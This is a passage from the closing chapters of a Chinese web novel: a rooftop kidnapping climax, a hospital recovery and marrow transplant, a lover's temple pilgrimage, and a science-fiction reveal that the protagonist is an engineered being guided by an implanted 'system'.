孙老二气急:“何年年还在我手里!你难道也不顾她的死活了吗?!”其实孙老二终究是于心不忍,总觉得事情还有回旋的余地。他听命来抓何年年,但也没有动手,就是把她骗走然后迷晕了过去。 而就在他们说话间,何年年已经悠悠转醒,看见自己被五花大绑,甩了甩头保持清醒,听见自己的名字,她知道跟孙老二谈话的是赵静岁,连忙喊道:“岁岁!快来救我!这个混蛋王八羔子竟然敢绑我!气死我了!气死我了!岁岁你快来救我” 说着说着,何年年哭了起来,她终究只是个十七八岁的小姑娘,自小娇生惯养,哪里经历过被人绑架的吓人之事,刚才发泄的怒火已经耗光了她所有的勇气,心底唯一的希望便是电话那头的赵静岁。 她扭动五花大绑的身体,努力朝孙老二的位置靠近,希望能听见赵静岁维护自己、把孙老二骂的狗血淋头的声音。 何年年期待这个解气的画面,因为她的岁岁是这个世界上最好、最温柔的豪门小姐,为人仗义,成绩优秀。大富大贵之家出生,却从未嫌弃过她暴发户的家庭,而且每次都会把最好看的包包和裙子留给她。 她们说过要做一辈子的闺蜜。何年年相信赵静岁会救她。 然而,本该挂断的电话虽然依旧显示拨通状态,电话这边却听不见任何声音。沉默悄无声息在这个黑暗的胡同蔓延。 何年年屏住呼吸,颤声问:“岁岁?” 良久,电话那边淡淡道:“孙大哥,麻烦你也给哥哥带一句话,何年年对于我来说,不过是众多讨好我的人之一,想用她牵制我,未免可笑。”话落,胡同内再次陷入冰冷的死寂。 电话挂断了。 何年年睁大泪眼模糊的双眸。 * 面对算计暴露,赵义眼前一黑,终于知道自己已经被人玩得团团转!他咬牙切齿,恨不得啖其肉,吞其血。“赵静岁你个臭婊子竟然敢倒打一耙操,等这件事情过去,老子要弄死你!!” 因为包围来得猝不及防,赵义彻底慌了神,只想赶紧逃跑,因为他知道现下绝对斗不过赵静群那种心狠手辣的东西,一旦落到他手里,绝对死路一条。如果他现在跑回赵家,还有支持他的人护着,赵静群想下手还要掂量掂量。 但如果不跑,那绝对会死! 赵义刚下甩下一众人逃走,可已经来不及了,刺耳的警笛声划破天际,几辆警察在前方开路,后面还跟着一辆黑色装甲车还有一辆消防车,所有警员按照指挥迅速包围了这栋十五层高的废弃烂尾楼。 而十二米长的救生垫正在楼下有条不紊铺展开,只需要再争取些时间。另一边武警决定顺着一楼的排水管道爬到十五楼天台,打算从背后包抄赵义,解救人质。目标大楼对面的楼层甚至还悄无声息安排好了狙击手,这些一切布置好,竟只用了短短十分钟不到的时间。 “我们是海州市局特警部一队,嫌犯赵义,你已经被完全包围了!不要再做无谓的抵抗!放下人质,否则我们将采取强制措施!” “再说一遍!放下人质,否则我们将采取强制措施!” 扩音器的声音一遍又一遍回荡,紧紧压迫赵义被逼到绝境的神经,他彻底六神无主,冷汗浸湿全身。而周围的人只会自顾自说“怎么办警察来了!”“赵哥你快想办法!”“我还不想坐牢啊”“赵哥怎么办啊!”。 趁场面彻底失控,赵义自顾不暇。陶柠连忙喊住吓得抱头鼠窜的刘玉良,强行打起精神道:“你对我做的事情够你待在监狱七八年了如果想将功补过,就把我的绳子解开我会替你作证” 双腿抖成筛子的刘玉良闻言,听到这话,就像抓住了最后一根救命稻草:“真、真的?你真的会替我作证?” “嗯。” 陶柠有气无力回应,他脚底下的血液已经聚集成了一小滩,看起来惊心触目。而陶柠自己心里也清楚,他失血过多,撑到现在已经是极限 可赵静群还在等他他一定要活着出去 到了现在这个情况,刘玉良知道自己必定会被抓走,可他觉得自己真的只是无心之过,他不想坐牢!就算真的进去,也不能蹲七八年,因为这样,他的一辈子就全完了。 现在听到陶柠会为他作证,刘玉良激动的快要哭出来,连滚带爬跑到陶柠身边,想要替他解开绳子。 而人一旦被逼到绝路,什么穷凶恶极的事都可以干的出来。已经六神无主的赵义刚好看到这个画面,顿时恶从胆边生。 他拾起一把锋利的匕首藏在身上,推开周围乱成蚂蚁的下属,冲过去一脚踹开刘玉良,直接把陶柠从铁椅上拎了起来。 “陶柠!!!” 身后传来撕心裂肺的声音,陶柠被赵义掐住喉咙,虚弱地抬眸,看见了风尘仆仆的赵静群,以及他目眦欲裂的脸。 “哈哈哈哈哈哈。”赵义知道自己又一次赌对了,他放声大笑,因为过分夸张的表情而面目扭曲,看着赵静群如此愤怒却不敢靠近的模样简直痛快极了! 大快人心!就算最后败得一塌糊涂又怎样?他赵义就算死了也要拉个垫背的,等会就用手里这贱人把赵静群引过来用刀捅死。 如果没死成,他就把这贱人推下楼,要让赵静群余生都活在痛苦和悔恨之中。 “呵呵赵静群,你也没想到会有今天吧。”赵义掐住陶柠的后脖颈一步一步往后退,期间差点因为地上的废弃物绊倒,看起来甚是狼狈滑稽,但这栋大楼里没有任何人笑得出来,尤其是赵静群。 他真的真的快疯了啊。 赵静群一路闯红灯飙车来到这栋烂尾楼,盯着屏幕上一直闪烁的红点,心中不断默念“快点快点再快点吧”,一到目的地,便不顾任何人的阻拦冲上了十五楼。 结果时隔三个多个月的时间,再一次见到放在心尖上的宝贝,却是在他生命受到威胁的情况下,这跟拿刀子活生生捅进赵静群的心脏有什么区别呢?而且陶柠的状况看起来非常差,面色惨白像一张纸,已经再也承受不住任何伤害了。 恐惧与心疼冲昏了赵静群的头脑,拳头上青筋全部暴起,指甲钻入肉中,血液缓缓渗出指缝,用疼痛强行冷静下来。赵静群能感觉到,他说话的声音在微微颤抖:“放了他我来做你的人质而且我保证,你会活着离开。” “你以为我还会信你的话?”赵义冷笑,挟持陶柠来到天台。并且迫使两人的后背靠着岌岌可危的栏杆。 “赵义!”赵静群怒吼。 此时已经夕阳西下,一轮火红的圆日镶嵌在乌云边,闷雷伴随闪电滚滚,不知什么时候,天气已经由晴转阴,竟是要下暴雨的前兆。 感觉有一滴雨水滑过脸颊,冲淡了血迹,陶柠忽然想起来,他跟赵静群分别的日子,也是一个雨天。 那时候他说了很难听的话,赶走赵静群。即使他事出有因,却也是实实在在的对不起他。 现在,又要下雨了。 与赵静群相处的画面一幕接一幕在眼前浮现,很多时候这个男人霸道不讲理,小心眼,占有欲又强,阿姐都觉得他像个地痞混小子,是个焉坏的人。 可只有陶柠知道,他的吻和爱有多热烈。 就像现在这样,为了救他被折磨成这副人不人,鬼不鬼的样子。 泪眼渐渐模糊双眼,心脏跟着抽疼,这一刻,陶柠终于明白。那段被赵静群苦苦哀求的日子里,为什么他按照要求说“爱他”,赵静群却仍觉得他在说谎了。 “赵静群” 很淡很浅的声音响起,却在这纷扰混乱的天台清晰可闻,一如半年前初见的时候。陶柠扯出一抹很温柔的笑,但仅仅是一个笑,就快要花光他所有的力气了。 赵静群红了眼眶,浑身发抖向他伸出手——“呆宝,不怕,不怕,我会救你,不要怕,再坚持一会儿好不好,求你,呆宝,不怕” 陶柠浅浅笑着,“你总说…我不爱你因为那时候我不知道什么是爱” 赵静群拼命摇头,泣不成声说:“我知道,我知道,不怪你,是我的错,我不怪你,是我的错,都怪我” “现在我懂了。”陶柠的声音越来越小,“其实我想告诉你你的红头发很好看” “你的耳钉也很漂亮。” “我爱你。” 轰隆一声! 最后的声音淹没在声势浩大的雷鸣与闪电里,刹那间天地恍若白昼,照亮了赵静群惊恐的脸。 而赵义正要怒不可遏打断他们的话,忽然,头皮后一紧,他的头发被人重重往后一扯,赵义吃痛,尖叫一声,正要推开陶柠,却被他用全身的力气往后一带。 而栏杆承受不住两人的重量,咔嚓一声,断裂了。那抹纤细的身影瞬间像断了线的风筝跃下去,竟是同归于尽。 赵义藏着的匕首被甩了出来,冰冰冰地摔在地上,原来陶柠一早就发现了。 世界静止了一瞬,紧接着,响起一道凄厉无比的咆哮声—— “不要!!!!!陶柠!!!!!不要不要!!!!!!!!啊啊啊啊啊啊啊啊啊!!!!!!!!!” 烂尾楼上撕心裂肺的惨叫让所有人头皮发麻,自然也引起对面大楼狙击手的注意,以为是人质受到了伤害,狙击手浑身紧绷,连忙透过瞄准镜查看情况,却看到了令他难以置信的场面。 他们的委托人赵先生,竟然疾步跑到栏杆边,毫不犹豫跳了下去!可地面的救生垫没有铺好啊!十五层楼的高度,跳下去必死无疑! 这人是疯了吧,一定是疯了吧,如果不是疯了,居然会做出跟人质殉情的荒唐事?! 与此同时,茫茫宇宙中的一座实验室,缓缓响起冰冷的机械声—— 【警告——警告——编号510的自主情感值已达100%,编号510的自主情感值已达100%——】 【恭喜,埃尔法博士,您的实验成功了。】 第99章 第 99 章 一千五百一十个台阶…… 就在所有人都因为这突如其来的状况惊愕时, 忽然,这片偏僻的城郊外,原本流动的乌云、窸窣的树叶、人们惊讶的表情, 划过脸颊的雨滴全部静止了—— 世界仿佛一瞬间按下了静止键,片刻后, 地面周围的空间似乎被扭曲了,黑色的漩涡缓缓出现, 好像巨大的时空之门。紧接着,一个轮廓苍白削瘦的男人从漩涡里走了出来,猛烈的狂风依旧对其有效, 似鸦羽编织成的衣角被吹起。 埃尔法不疾不徐朝即将坠落在地的少年靠近,修长的指尖轻轻抚去他眼角凝固的泪珠,轻叹一声:“510, 我赋予了你第二次生命呢。” 而此时如果有人挣脱这种诡异的神秘力量, 看到这副画面绝对会瞠目结舌, 因为这个男人竟是悬浮在半空中的! 埃尔法眉头轻挑, 抬眸,视线落在同样在半空中静止的赵静群身上, 像在看路边芸芸众生之一的野花野草。 低叹道:“他如果死了,你会很难过吧,毕竟你成为了真正的人类……” 伴随这声微不可闻的叹息, 埃尔法双手公主抱起陶柠,吻了一下他好似睡着了的眉眼,随后将他放到救生垫上。转过身,指尖点了一下赵静群的方向。 下一秒,砰的一声,赵静群从距离地面两三米高的地面摔到了地上。 埃尔法的声音逐渐消失, 连带着他身后的黑色漩涡也不见了。渐渐的,这一片的风雨继续摇摆,树叶重新窸动,无数的雨珠再次划过人们的面容,唤醒在场所有人静止时惊愕的表情。 “未来见,我的缪斯。” …… 人们面面相觑。 “刚才发生了什么?” “我记得他们三个人都跳楼了吧。” “快!快救人啊 !” “120呢!嫌犯已经没救了,其他两个人还有呼吸!” * 三天后,街坊小巷,邻里四处在讨论一条爆炸性的消息。人们议论纷纷问自己的邻居、亲友,“你们听说了吗?北城外那栋烂尾楼发生了一起绑匪撕票案,去了好多警察消防员,那精彩程度堪比电视剧,狗血八档都要从那里进货。” “我有点怕,以后那绑匪不会找上我吧?” “呵呵,你个穷比,人家绑的是X省星城市的首富,你个打螺丝的谁要你了?你求那绑匪撕票人家都懒得搭理你” “还首富,你有证据么就瞎几把乱说。” “你俩到底是不是正常人?如果十二年义务教育普及了,你俩简直要上一辈子学前班。重点是在绑架么?重点是这起案件特别邪门——” 电视新闻上,主持人正在播报最近的新闻:“首先来关注一则警方通报的案件信息。据警方通报,五天前海州市北城区城郊发生一起特大绑架案,嫌疑人为X省赵某,被绑架者为一名十八岁男性,目前警方已成立专案组,正全力开展调查” “咔嚓”一声,电视屏幕熄灭了。孙老二扔掉遥控器,随后用湿棉签打湿病床上的男人干涸的双唇,摇头感慨道:“赵哥,你这次真的是大难不死必有后福了,十五层楼的高度掉下来竟然只是轻度骨折” 五天前,孙老二安置好何年年后,就收到赵静群从十五楼跳下去的消息了。他整个人都是懵的,因为他那种“陶柠如果死了,赵静群绝不会苟活”的荒诞想法竟然灵验了,他真是乌鸦嘴! 孙老二当场抽了自己几巴掌,然后着急忙慌赶去医院,绝望地以为会看见一具尸体,但令他也让所有人匪夷所思的是,诊断结果出来后,赵静群不仅没有死,而且只是轻伤! 这是什么概念?相当于一辆大货车从身上碾过去结果毫发无伤,而且转头买了张彩票就中了五百万的幸运!幸运到甚至有人觉得是灵异事件的地步 而远在X省的赵父赵母收到消息,连夜赶了飞机过来,抱着赵静群一通哭天喊地,毕竟再怎么对这个儿子有埋怨,终究是他们找了多年好不容易找回来的儿子。 孙老二没看见赵静岁,最后他好歹好说才把赵父赵母劝回酒店休息去了。现在只剩一个护工和他在照顾赵静群,听见电视上的新闻,眼不见心不烦孙老二索性关掉了。 看着病床上毫无血色的男人,孙老二苦笑一声:“赵哥,你要是再不醒,有人就要把你抓走去做变态人体研究了,还有嫂子”仿佛真的听见了他的话,原本还毫无所觉的男人的眼睛动了一下。 “赵哥?!” 仅仅花了几秒的时间,男人唰地睁开眼,情绪从迷惘迅速转为清醒,顾不上骨头断裂的疼,他猛地从病床上坐起来,剧烈地喘气,死死拽住孙老二,嘶哑的声音惊恐道:“陶柠呢?陶柠呢?!陶柠去哪儿了?!” 男人的手劲很大,即使刚醒过来,孙老二感觉自己的胳膊要被他拧断了,连忙哎哟哎哟叫道:“嫂子还在!嫂子还在!赵哥你快放手——” 这句话像一针镇定剂,被噩梦魇住的男人怔然松开手,片刻,两道清泪从空洞的眼眶落下,赵静群喃喃自语道:“为什么要救我为什么要救我” 陶柠如果死了,他活着还有什么意义? 噩梦里,无论赵静群重复了多少遍,无论他拼命跑去天台上多少次——他始终抓不住陶柠的手。 撕心裂肺下,赵静群眼睁睁看着陶柠化作一具血肉模糊的尸体,死在他面前。他当即便痛到把心都呕了出来,可依旧改变不了陶柠死去的事实 好痛好痛啊。 陶柠,你太狠心了,为什么不把我一起带走?你知道我有多痛吗? 赵静群的心彻底死了。 而当他又亲眼看着陶柠的魂魄从尸体中飘出来,身上满是鲜红的血,漂亮的眼睛也被血液浸透了,却在一遍又一遍说:“赵静群,我疼,我疼。” 他的宝贝撒娇似的,却满身是血说。 赵静群,我疼。 赵静群跌跌撞撞爬起来,紧紧抱着他,双目放空,扯出扭曲的惨笑,一遍又一遍安慰:“呆宝不怕,不怕,我陪你,马上下去陪你。” 可当他要用匕首割断自己的脖子时,白色的光芒骤现,什么都消失了,只剩医院里冷冰冰的白炽灯。 赵静群出神地想。他的宝贝会怪他的吧,阴曹地府那样恐怖寒冷的地方,他怎么能舍得让他的宝贝一个人等他那么久呢? 不要害怕。 “我陪你” 孙老二揉胳膊之际,忽然看见赵静群要去拿桌上的匕首,吓得把他往床上一推,也顾不上什么身份不身份的问题了,指着他怒骂道:“赵静群你他妈还是不是个男人了!你这是要做什么?!如果你就这么死了,你要让千里迢迢来照顾你的赵夫人他们怎么办?” “你要让他们中年丧子吗?!还有那些为你出生入死的兄弟,你是想让我们寒心么?!” 病房内瞬间陷入一片死寂,只余窗外树叶沙沙作响。孙老二气得胸口剧烈起伏,可随之而来的是深深的无奈,半晌,等他冷静下来,打算好言好语相劝时,却见倒在病床上的男人轻声问: “那我呢?” 感觉男人的状态极差,孙老二也不敢多嘴了,小心问:“什、什么?” 无声的眼泪一滴接一滴落下,赵静群问:“他们依赖我活着那我呢” 他依赖着的人不在了,那他呢? 这瞬间,孙老二忽然心领神会,拍腿道:“赵哥!哎哟您看你这闹的,嫂子还活着呢!” * 宋郁丛收到陶柠病危的消息时,正在外省做一档歌唱综艺的准备,因为是保密式的,需要没收手机,等他收到消息把综艺翘了连夜赶回海州时,陶柠已经送入了手术室,而且手术结果是必须要立刻进行骨髓移植。 宋郁丛的骨髓是目前唯一能够与陶柠配型的。 因为从小到大都被当作真吸血包的记忆,宋郁丛患有严重晕血、贫血的症状,而且极度抗拒针头,对这些事情都有PTSD倾向。 再次,他无故放综艺鸽子,那档综艺是当下最热门的歌唱综,基本上只要参与了的歌手不说大红大紫,未来也都小有名气了。 宋郁丛的秘书兼经纪人知道他一直以来的梦想,觉得因为这次一个资助人的骨髓移植手术耽误行程,权衡利弊来讲非常不值当。 经纪人劝他要不要再考虑时,宋郁丛只是翻白眼说:“少废话,我还缺他那档综艺么?而且谁告诉你陶柠只是我资助的人了?” “???” 经纪人不明所以,结果下一秒,就看见这个很难伺候的豪门二代面红耳赤,有些别扭小声道:“他是我爱人。” “” 宋郁丛换上曾经百般嫌弃的蓝白相间的手术服,最大码的型号对他来说仍旧有些小,脖子上那串闪着微光的金项链露了出来,那双美到凌厉的凤眸看见病床上躺着的陶柠时,刹那间柔和。 随后,他转过身,毫不犹豫进入检查室。 ——此后我们血液交融,永不分离。 几天后。 陶柠被推入无菌层流病房,进行骨髓移植的预处理阶段。这个阶段需要大量的化疗清楚他体内的异常细胞,同时用药物抑制免疫系统,避免身体后面排斥宋郁丛的供体细胞。 这一整个过程非常痛苦,所以陶柠的头发被剃光了,但这丝毫不影响他的美丽。只是因为一直昏迷不醒,看起来像童话里的睡美人。 医护人员感慨:“没醒也好,暂时不用受那些遭罪的痛了。” 等两周过后,便是干细胞移植阶段。陶柠转入了重症监护室。 而赵静群站在外面,痴痴地看着里面,他已经站在外面几天了,因为赵静群生怕他一眨眼,陶柠整个人就像梦里消失不见了。 期间赵父赵母来闹过,他们二位已经知道了所有事情,骂他不争气骂他竟然跟一个男的厮混骂他为了这个男的不像个人样。可从头到尾,赵静群都无动于衷,只是痴痴地看着监护室内。 再后来,赵父赵母便失望地离开了。一开始孙老二也来劝,慢慢的也不来了。直到移植手术要开始时,孙老二过来送个饭,结果把医院上下都找遍了,都没看见赵静群的踪影。 “奇了怪了,赵哥去哪儿了,这几日每天跟个鬼似的在外面守着,难不成今天想通了,肯好好吃个饭怕自己饿死见不着嫂子了?” “施主,从山脚到长明寺佛前,一共一千五百一十个台阶。二十年来,贫僧见过众多前来祈愿所爱健康的信徒,却仅有十分之一做到一阶一叩首求来平安,因为众生认为举头三尺有神明,心灵则诚,花钱亦可消灾。” “为一人无视世俗目光,叩满一千台阶者,寥寥无几。” 赵静群说:“我愿意。” 山脚下的老和尚看着眼前状似大病初愈的男人,指了指天,笑道:“每叩一台阶,便默念你心之所想罢。不过,暴雨将至。愿施主心想事成。” 起风了,海州的初春总是多雨,路人遇到这种天气会跑回家躲雨去了。但闹中取静的长明寺却依旧香火不断,因为这是华国四大灵庙之一,传闻中只要向这座寺庙诚心许愿,无论是求财、求婚姻、求健康均可心想事成。 有一对夫妻带着小孩想去长明寺还愿,在山脚下,小孩却指着一个人问:“爸爸,妈妈,那个人在做什么?” 这对夫妻看过去,却见一个身量极高的男人正跪在台阶上,双手合掌,食指抵住鼻尖,嘴里不断喃喃自语,下一秒,他虔诚地叩首。 再下一秒,他起身跪在下一阶台阶上,再次双手合掌默念。 因为这个画面实在太罕见了,渐渐的,围在这个奇怪的男人身边的人越来越多,但没有人上前去打扰,或许,是他周身的虔诚与脸上的泪看上去太过心惊了吧。 有人靠近,听清了这个男人念的话—— “佛祖保佑,愿吾妻陶柠平安。” 他一跪拜。 “佛祖保佑,愿吾妻陶柠平安。” 他一叩首。 “佛祖保佑,愿吾妻陶柠平安。” 他一跪拜。 “佛祖保佑,愿吾妻陶柠平安。” 他一叩首。 “佛祖保佑,愿吾妻陶柠平安。” “佛祖保佑。” 无视狂风骤雨和额头上的鲜血,赵静群虔诚地跪下,喃喃道:“愿吾妻陶柠平安。” 一千五百一十个台阶,从山脚跪到山头,从旭日拜到黑夜,从暴雨求到天晴,他愿意。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 【全文完结】 第100章 第 100 章 终章 克服排异反应并清醒, 已经是两个月后了。 陶柠睁开眼睛,入目的是一张五官苍白平淡的面容——这张脸曾在他的梦里出现过,那个曾与他隔着蓝色玻璃相望、后来又抱着婴儿的他眺望地球的“人” 他又做梦了吗? “没有。”这个人笑了起来, 声音像一缕很淡的风,只要微风吹过, 便不会留下踪迹。如他没有任何特色但组合在一起刚好的五官,再配上他恰到好处的身高。 而正是因为这个人从外表看起来每一点都恰到好处, 才显得不同寻常,让人感觉心理上的不适。如果一定要形容,就像是复制粘贴出来的东西, 没有任何属于一个人的特点。 他浅浅地笑着,脚步轻快靠近陶柠,“你没有做梦, 510你在抗拒我, 是不欢迎我来么?” 周围的一切都异常安静, 陶柠突然发现, 外面医护人员的走动声和交谈声全部不见了,世界安静得近乎死寂, 只有医疗机械仍在运转,还有输液袋里的葡萄糖水正在缓缓下落。 “你究竟是谁?就是你一直在假扮宋珩?”因为连续几十天没说过话,陶柠的嗓子很哑, “510,又是谁?” “刚醒问题就这么多?”像是感觉不到陶柠的警惕似的,这人自顾自地坐在床畔,双腿交叠,支着下巴浅笑,虽然反问句, 但语气里有些似有若无的无奈。“这么一看,还是你的最开始的性格可爱一点。” “”陶柠脸色微冷。 “好吧,我回答这三个问题。首先,是我假扮的那个叫宋珩的人类。”这人的指尖轻轻敲着病床的边缘,说话依旧像一道很淡的风,没有多少起伏,“其次,510这个号码是你的名字,最后——” 他抬眸与陶柠注视,“我叫埃尔法,是创造你的人,如果按照人类通俗的话来讲,我应该是你的父亲。” 埃尔法本以为会看见陶柠难以接受的表情,但半晌过去,病房内只有长久的沉默。陶柠既没有大喊大叫说你在胡言乱语,也没有知道这种匪夷所思的事情后的恐惧,平静到仿佛他在回答吃不吃饭一样的问题。 这倒是让埃尔法有些小小的感兴趣,“你不害怕?” “害怕有用么?” 完全没意料到是这种回答,埃尔法那张平淡到看不出任何情绪的脸显然愣了一下,随后房间内爆发出一阵长笑,片刻,埃尔法止住笑声:“510,你实在太有趣了,我收回刚才的话,你现在的性格也很讨喜。” 陶柠说:“你能不叫我510么?我很不喜欢,因为我有名字,陶柠,陶土的陶,柠檬的柠。” “你生气了?” 陶柠面无表情。 埃尔法笑着说:“陶柠,在这个地球上,乃至全宇宙,我都是最了解你的嗯,姑且算是人吧。” 脸上的笑意渐淡,埃尔法站起身,不疾不徐走到窗前。现在已经是深夜,街道上空无一人,唯有这座装载人生老病死的医院灯火通明。埃尔法同时听见了婴儿的啼哭和人将死之时的叹息。 “你很喜欢数学吧,陶柠。”埃尔法说,“那不知道你是否关注过与古生物有关的消息。人类公认在十九世纪第一次发现恐龙化石,那是你们初次窥见上亿年前的痕迹,自那以后各种演化说纷呈沓至,据我所知,其中最著名的学说是一个叫达尔文的人类提出来的。他认为人是通过变异、遗传和自然选择从古猿进化而来。” 埃尔法回头,挑眉道:“你那是什么表情?我对这种演化论没多少表示,只是后面你们开始追问‘地球的生命从哪里来’这个问题,我觉得很有趣。人类目前的主流说法是地球的原始海洋创造了有机分子,自此构成了生命的基础之后几十亿年的时间里,出现了恐龙和古猿这两种生物,几亿年中恐龙灭绝,而古猿再却用几十万年的时间进化成人,你看,一切都自圆其说。” “有时候我很佩服你们的自信,”话音一转,埃尔法微笑,“仅凭几根骨头和一些推理的实验,便能堂免冠皇认定几十亿前的事情。” 他再次看向窗外,只是这一次,眼睛里有似有若无的哀伤。 “如今地球文明发展停滞,大部分是因为主宰这颗星球的人类盲目自信而自欺欺人,其实真相往往埋藏在你们不愿相信的恐惧里。” “这颗蔚蓝的星球,在三十亿年前便存在‘人’这种生物了。”埃尔法淡淡道,轻飘飘一句话就足以让整个世界惊世骇俗。 “那些古人是我的先祖。现在的人类把文明分为三个等级,最低等的是行星文明,即可以利用地球上所有的资源,并且能自由操纵地球的气候与灾难,次等是恒星文明,可以完全利用太阳的能量,而最高等的文明便是星系文明。” “几亿年的时间我们的先祖一度繁荣发展到星系文明,甚至是超星系。我们可以在宇宙里来去自如,扭转短暂的时空。就像我可以改变人类的记忆,变成宋珩,直到现在来到你身边,以这种人的形态与你见面。” 埃尔法的语气陡然落寞。 “后来,我们如现在的你们一样,好奇宇宙之外有什么,追问自己的起源究竟来自哪里。于是我们先祖之中最勇敢最具智慧的那批人种决定星际殖民,但令我们遗憾的是这个宇宙,是寂寞的。” “——先祖们搜遍了宇宙几万几亿个星系,却没有发现除我们以外的任何文明。”提起这个,埃尔法的眼神终于有了那么几分恐惧。“你知道这意味着什么吗?” 他说的一切都过于惊世骇俗与叫人难以接受,尤其是他最后一句话,变成了一块巨石压在陶柠心底,压的人喘不过气,仿佛能够穿越时间,感受到那些在宇宙中流浪的飞行器的绝望。 埃尔法轻轻的笑,“意味着我们都是虚无的。我们都活在一个被早已设定好的程序里,或者只是一本书中也说不定。先祖们想通这件事后,放弃继续寻找同伴。同样的,他们也放弃了地球这颗资源贫瘠的母星。” 他抬头看向虚空中的一点,陶柠不知道他在看些什么,他想,也许是在看那个创造这一切的、虚无缥缈的东西。 “所有的先祖移民到了距离地球几十万光年外的PUZZLE星系,最终在那里落地生根,后面我们通过科技干预,选择性进化成另一种比人更高级的生物。如果把目前的人类比作古猿,那么我们才是真正的人类。” 埃尔法忽然话锋一转:“太孤独了。” 他看向陶柠:“还没有忘记我最开始跟你提到的达尔文进化论吧?因为我们在这个宇宙太孤独了,所以启动了一个叫‘文明火种’的计划,开始有意识地改造各个星系的恒星,并通过彗星把人类的DNA传播出去然而这种计划或许违背了造物主的意愿,目前为止,仅有地球再次诞生出人类这种生物,而现在的人类却认为他们是自然演化而来的。多么巧合,也如此讽刺。” “‘文明火种’计划后面分成了两派,一派是继续改造恒星,传播人类DNA。另一派,便是由我领导,直接进行科技造人。” 埃尔法淡淡道,目光落在陶柠身上,那眼神意味深长。 “我无法和你解释太多事情,你只用知道,进化到我们这样,已经不存在自然繁殖的概念了。我们的世界被你们口中称作‘机器人’的东西占据,我憎恨这种东西,崇尚先祖的理念,所以想培育出完全由科技造出来的‘人’送往各个恒星,杜绝仅有地球出现文明的失败后果。” “这种‘人’更不需要借助卵.子和精.子,直接在培养皿中出生,长大,死去。”埃尔法微笑,“但很可惜,很长一段时间里,这些‘人’和机器人一样,没有作为人类的基本情感,只能听得懂指令,是一具又一具空壳。” “所以,我就是那些人之一” 埃尔法挑眉,玩味道:“当然,你是我最完美的作品。你出生在地球年历的五月十日,我给你取名编号510。人类是视觉动物,所以我又翻阅了人类近几十年来认为最好看的五官和脸型,精心打造出你。你应该称呼我一声父亲。” “” “好吧,不愿意就算了。” 埃尔法语气略微遗憾,“我们尝试过很多方法让那些科技造人拥有情感,但无一例外都失败了。于是那些改造恒星的派系开始打压我的实验,我不甘心,恰巧看到了古籍中的一个故事,意思是说雄鹿因为崇尚狮子的力量,因此潜伏进狮群,多年以后,当雄鹿吃下曾经同伴的血肉,它成功变成了一只狮子。” “那日我终于明白问题的根源所在。人类虽然短短数十年,却要经历爱别离、怨憎会、求不得、失荣乐诸如种种我们至今也无法理解透彻的东西。我自己急功近利,又如何能要求一个科技造人能在诞生起便拥有那些感情和自我意识呢?所以我销毁了所有成型的科技人,包括一出生便是少年时代的你。” 埃尔法浅笑,用视线一点一点描摹陶柠的眉眼。 “我造出了一大批科技人婴儿,提前在他们体内植入好程序,赋予他们不同的性格点,送往地球。那些程序会自行启动,用你们能够理解的事物,引导你们去经历那些感情,并监视你们的颅外神经。你的话脑子里的那个程序应当是自称叫系统吧。” 说到这儿,埃尔法有些无奈,见陶柠的反应有明显的松动,笑了笑:“那个系统是我最开始为你设置的性格特点,很活泼可爱,但有些研究员觉得不讨喜,我便把那些特征转为程序植入你体内,至于你第二次的性格,我是随机生成的唔,我还是觉得你初次的性格更可爱一点。” “他就是我?” “是呢。”埃尔法玩味道,“我可是很喜欢它,后来它跟我保证,说让你学一些人类的书籍主动攻略人,这样能尽早经历爱恨情仇产生自我情感。这种不靠谱的事情,我也答应了。” “我就陪着它一起演戏,篡改了你的身体数据,以此要挟你主动去接触他们。因此自始至终,不是你在攻略那三个人类,而是他们在反向让你产生感情没想到,成功了。” 凌晨五点的钟声敲响,埃尔法淡淡道:“本来我们只随机选定了一个人,但碍于科技人产生自我情感的概率极低,所以随机选了三个,你是幸运的,他们三人都很爱你,以至于你懂得了什么是爱情。还有你‘出生’的家庭,也是随机的,而同样幸运的是,你有很爱你的家人,你懂得了什么是亲情。” “这颗蔚蓝色的星球上,爱情、亲情还有你对系统的友情,你通通体会过了。” “陶柠,你成为了一个真正的人类。” 说完后,周围再次陷入死一般的寂静,病床上的人却始终沉默不语,埃尔法忽然发现,不知道从什么时候开始,他已经读不懂陶柠的情绪了。 走到陶柠跟前,想要像如在地球之外那般抚过他的脸颊,却被他轻轻地拍开,那双埃尔法亲自用程序雕刻出来的眼睛,正冷淡的、抗拒地看着他。 陶柠一字一句道:“从我被父母捡回去的时候,我就已经是我了。你究竟想做什么,直接说吧。” 埃尔法愣了一下,随后哈哈哈大笑,看上去有些癫狂的喜悦,拍掌说:“很好,陶柠,很好。你知道么?其实这次谈话是我们最后一次试验。如果我说完那些话后,你出现自我怀疑并对我们的文明产生归属的科技人的想法” 他眼睛幽幽冷下来,“我会立刻销毁你。” 话落,埃尔法的身后刹那间出现一个巨大的黑色漩涡,就像恐怖的怪物张开血盆大口,黑暗深不见底。他转过身,迈步走向黑色漩涡。 就在埃尔法要踏入这口漩涡时,他回过头,微笑道:“我并不想做什么,陶柠,其实我跟恒星派的实验从一开始便是虚无缥缈的执着,我们从头至尾只是想证明,我们在宇宙中并非孤独。” “现在,你让我们看到了一点希望,即使这种希望是被创造出来的。”埃尔法近乎俏皮地眨了下眼,用曾经的系统口吻道:“呆瓜,这种行为与那个让我们绝望的造物主一样愚不可及,对不对?” 话落,没有等陶柠回答,黑色漩涡前的埃尔法缓缓消失了。 直至最后,整个世界再也找不到一点属于漩涡的痕迹,只剩产房外护士对于新生儿的祝福声,以及,窗户外穿过晨雾,逐渐升起的旭日。 新的一天开始了。 * 从医院离开后,陶柠的生活重新步入正轨,只是他的余生要跟药物陪伴了。他回到学校时,只剩两个月要高考。 他无视周围人异样、惊艳、好奇的目光,按部就班上课,吃饭,模拟考试,然后回宿舍睡觉,到了周末便独自回公寓。这期间,陶柠瞥见有人一直在他身后默默跟着,那人身量很高,双手插兜,鸭舌帽压得很低,看不清楚表情。 但能感觉到他灼烫而隐忍的视线。 陶柠没搭理他。 偶尔,他卡上还会收到转账的消息,最开始是二十万,后面越来越多,全部来自一个陌生的账户,但陶柠每天忙的没空去处理。 高强度的学习已经压得他快要喘不过气,期间还要去法院帮刘玉良作证减刑,后来又抽空去了一趟京市参加国际数学奥林匹克竞赛,这届竞赛正好由华国在京市承办。 参加IMO是陶柠一直以来的目标。只是在参赛区,他碰到了陌生账户的主人。徐隽穿着简单的白衬衫黑长裤,因为参赛选手很多,全部挤在一个走廊上,空气闷得厉害。 